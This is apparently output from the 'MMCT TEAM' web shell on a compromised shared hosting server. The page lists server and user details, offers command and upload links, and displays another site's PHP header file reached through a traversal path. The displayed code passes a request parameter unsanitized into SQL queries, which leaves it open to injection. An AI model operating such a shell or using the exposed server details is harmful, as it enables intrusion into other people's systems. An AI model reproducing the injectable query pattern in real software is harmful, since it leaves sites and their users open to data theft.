MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.23.101.60
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/www/../generalmotorsju.com/../cablecubby.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/www/../generalmotorsju.com/../cablecubby.in/site-header.php
<?php ob_start();
require_once("includes/dbsmain.inc.php");
$page_name=basename($_SERVER['PHP_SELF'],'.php');
include("site-main-query.php");
if($compDATA['admin_site_down']=='Yes'){
 header("location:site-down.php");
 exit;
}
$site_url=$compDATA['admin_website_url'];
$author = str_replace("http://","","$site_url");
$prdct_name=$_REQUEST['cat_name'];
$catgoryID=db_scalar("select category_id from tbl_category where 1 and category_url='$prdct_name'");
//************ To Fetch Page Heading ****************//
$pgHeading=db_scalar("select site_pages_name from tbl_site_pages where 1 and site_pages_status='Active' and site_pages_link='$page_name'");
?>
<?php
function query($pid){
$query = db_query("select * from tbl_category where 1 and category_parent_id='$pid' and category_status='Active' order by category_order_by asc");
	return $query;
  }  
  function has_child($query){
    $numRows = mysqli_num_rows($query);
	if($numRows > 0){
	return true;
	}else{
	return false;
	}
  }
?>

<!DOCTYPE html>
<html lang="en">
    
<head>
    <meta charset="UTF-8">
    <!--[if IE]>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
<![endif]-->
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- =-=-=-=-=-=-= Mobile Specific =-=-=-=-=-=-= -->
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<?php if($compDATA['admin_index_follow']=='Yes'){ ?>
<meta name="robots" content="index, follow" />
<? }else{ ?>
<meta name="robots" content="noindex, nofollow" />
<? } ?>
<?php if(!empty($catgoryID)){?>
<title><?=db_scalar("select category_meta_title from  tbl_category where category_status='Active' and category_id='$catgoryID'")?></title>
<META NAME="description" content="<?=db_scalar("select category_meta_description from  tbl_category where category_status='Active' and category_id='$catgoryID'")?>" />
<META NAME="keywords" content="<?=db_scalar("select category_meta_keywords from  tbl_category where category_status='Active' and category_id='$catgoryID'")?>" />
<? }else{?>
<title><?=db_scalar("select site_pages_meta_title from  tbl_site_pages where site_pages_status='Active' and site_pages_link='$page_name'")?></title>
<META NAME="description" content="<?=db_scalar("select site_pages_meta_description from  tbl_site_pages where site_pages_status='Active' and site_pages_link='$page_name'")?>" />
<META NAME="keywords" content="<?=db_scalar("select site_pages_meta_keyword from  tbl_site_pages where site_pages_status='Active' and site_pages_link='$page_name'")?>" />
<? }?>
<meta name="revisit-after" content="3 days"/>
<meta name="copyright" content="<?=$compDATA['admin_company_name']?>"/>
<meta name="distribution" content="global"/>
<meta name="language" content="english">
<meta name="author" content="<?=$author?>">
<?php if($compDATA['admin_meta_fb_id']!=''){ ?>
<meta property="fb:page_id" content="<?=$compDATA['admin_meta_fb_id']?>" />
<? } ?>
<?php if($compDATA['admin_meta_alexa_id']!=''){ ?>
<meta name="alexaVerifyID" content="<?=$compDATA['admin_meta_alexa_id']?>"/>
<? } ?>
<?php if($compDATA['admin_meta_msvalidate_id']!=''){ ?>
<meta name="msvalidate.01" content="<?=$compDATA['admin_meta_msvalidate_id']?>" />
<? } ?>
<?php if($compDATA['admin_site_verification_code']!=''){ ?>
<meta name="google-site-verification" content="<?=$compDATA['admin_site_verification_code']?>" />
<? } ?>    
   <!-- =-=-=-=-=-=-= Bootstrap CSS Style =-=-=-=-=-=-= -->
    <link rel="stylesheet" href="<?=$site_url?>/css/bootstrap.css">
    <!-- =-=-=-=-=-=-= Template CSS Style =-=-=-=-=-=-= -->
    <link rel="stylesheet" href="<?=$site_url?>/css/style.css">
    <!-- =-=-=-=-=-=-= Font Awesome =-=-=-=-=-=-= -->
    <link rel="stylesheet" href="<?=$site_url?>/css/font-awesome.css" type="text/css">
    <!-- =-=-=-=-=-=-= Et Line Fonts =-=-=-=-=-=-= -->
    <link rel="stylesheet" href="<?=$site_url?>/css/et-line-fonts.css" type="text/css">
    <!-- =-=-=-=-=-=-= Owl carousel =-=-=-=-=-=-= -->
    <link rel="stylesheet" type="text/css" href="<?=$site_url?>/css/owl.carousel.css">
    <link rel="stylesheet" type="text/css" href="<?=$site_url?>/css/owl.style.css">
    <!-- =-=-=-=-=-=-= Google Fonts =-=-=-=-=-=-= -->
    <link href="http://fonts.googleapis.com/css?family=Source+Sans+Pro:400,400italic,600,600italic,700,700italic,900italic,900,300,300italic" rel="stylesheet" type="text/css">
    <link href="http://fonts.googleapis.com/css?family=Merriweather:400,300,300italic,400italic,700,700italic" rel="stylesheet" type="text/css">
    <!-- =-=-=-=-=-=-= Flat Icon =-=-=-=-=-=-= -->
    <link href="<?=$site_url?>/css/flaticon.css" rel="stylesheet">
    <!-- =-=-=-=-=-=-= Magnific PopUP CSS =-=-=-=-=-=-= -->
    <link href="<?=$site_url?>/js/magnific-popup/magnific-popup.css" rel="stylesheet">
    <!-- Theme Color -->
    <link rel="stylesheet" id="color" href="<?=$site_url?>/css/colors/defualt.css">
    <!-- For Style Switcher -->
    <link rel="stylesheet" id="theme-color" type="text/css" href="#" />
    <!-- Revolution Slider 5.x CSS settings -->
    <!-- For This Page Only -->
	<link  href="<?=$site_url?>/js/revolution-slider/css/settings.css" rel="stylesheet" type="text/css"/>
	<link  href="<?=$site_url?>/js/revolution-slider/css/navigation.css" rel="stylesheet" type="text/css"/>
    <!-- Animation Css -->
    <link href="<?=$site_url?>/css/animate.min.css" rel="stylesheet">
    <!-- Menu Hover -->
    <link href="<?=$site_url?>/css/bootstrap-dropdownhover.min.css" rel="stylesheet">
    <link href="<?=$site_url?>/css/custom.css" rel="stylesheet">
    <link href="<?=$site_url?>/css/style.css" rel="stylesheet" type="text/css">   
        <link href="<?=$site_url?>/css/lightbox.css" rel="stylesheet" type="text/css">   
    <!-- JavaScripts -->
    <script src="<?=$site_url?>/js/modernizr.js"></script>
    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
    <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
    <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->

<?php if($compDATA['admin_google_analytic_code']!=''){
 echo $compDATA['admin_google_analytic_code'];
}
?> 
</head>

<body>
    
<?php
//FETCHING HEADER LOGO AND OTHERS DYNAMICALLY
$sql_logo_welcome=db_query("select * from tbl_header where 1");
 if(mysqli_num_rows($sql_logo_welcome)>0){
  $DATALOGO=mysqli_fetch_array($sql_logo_welcome);
   @extract($DATALOGO);
}
?>
    <!-- =-=-=-=-=-=-= PRELOADER =-=-=-=-=-=-= -->
   <!-- <div class="preloader"><span class="preloader-gif"></span></div> -->
    <!-- =-=-=-=-=-=-= HEADER =-=-=-=-=-=-= -->
    
     <section class="top-bar">
        <div class="container">
            <div class="left-text nav-left pull-left">
                <p><span>Opening Hours :</span> Monday to Saturday - 8am to 8pm</p>
            </div>
           
           
                                    <div class="amiflrght">
                                    <?php
if($compDATA['admin_search_option']=='Yes'){ ?>
<?php include("site-search.php");?>
<? } ?>
                                    </div>
        </div>
    </section>
    
    
    
    <header class="header-area">
    
    <div class="logo-bar">
            <div class="container clearfix">
                <!-- Logo -->
                <div class="logo">
                    <a href="<?=$site_url?>/index.html"><img src="<?=$site_url?>/header_files/<?=$DATALOGO['header_logo']?>" alt="<?=$compDATA['admin_company_name']?>" title="<?=$compDATA['admin_company_name']?>"></a>
                </div>

                <!--Info Outer-->
                <div class="information-content">
                    <!--Info Box-->
                 <?php if(!empty($compDATA['admin_email'])){ ?>		                      
                    <div class="info-box  hidden-sm">
                        <div class="icon"><span class="icon-envelope"></span></div>
                        <div class="text">EMAIL</div>
                        <a href="mailto:<?=$compDATA['admin_email']?>"> <?=$compDATA['admin_email']?></a> 
                    </div>
                   <?php }?> 
                        
                        
                    <!--Info Box-->
                   <?php if(!empty($compDATA['admin_mobile'])){ ?>
                    <div class="info-box">
                        <div class="icon"><span class="icon-phone"></span></div>
                        <div class="text">Call Now</div>
                        <a class="location" href="javascript:void(0)"><?php
						  $mobi=explode("/",$compDATA['admin_mobile']);
						  echo $mobi[0];
						  ?></a> 
                        </div>
                     <?php }?>   
                      
<?php if(!empty($compDATA['admin_address'])){ ?>									
   <div class="info-box">
                        <div class="icon"><span class="icon-map-pin"></span></div>
                        <div class="text">Find Us</div>
                        <a class="location" href="javascript:void(0)"><?=$compDATA['admin_city']?>, <?=$compDATA['admin_country']?></a> 
                        </div>        
        <?php }?>         
                 
                </div>
            </div>
        </div>
        
     
        <!-- Header Top End -->
        <!-- Menu Section -->
        
        <?php include("site-header-menu.php");?>        
        
    </header>
    
    </body>

MMCT - 2023